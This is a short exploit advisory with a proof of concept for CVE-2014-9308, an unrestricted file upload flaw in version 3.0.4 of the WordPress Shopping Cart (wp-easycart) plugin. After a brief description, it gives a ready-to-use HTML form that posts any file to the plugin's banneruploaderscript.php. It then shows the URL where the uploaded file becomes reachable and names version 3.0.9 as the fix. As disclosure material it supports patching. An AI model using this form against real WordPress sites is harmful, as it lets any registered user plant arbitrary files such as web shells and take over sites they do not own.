WordPress Plugin Shopping Cart 3.0.4 - Unrestricted Arbitrary File Upload

<!--
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
# Date: 29-10-2014
# Software Link: https://wordpress.org/plugins/wp-easycart/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9308
# Category: webapps

1. Description
  
Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php

http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html

  
2. Proof of Concept

Login as regular user (created using wp-login.php?action=register):
-->

<form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="datemd5" value="1">
    <input type="file" name="Filedata">
    <input value="Upload!" type="submit">
</form>

<!--
File will be visible:

http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension%
  
3. Solution:
  
Update to version 3.0.9
https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip
-->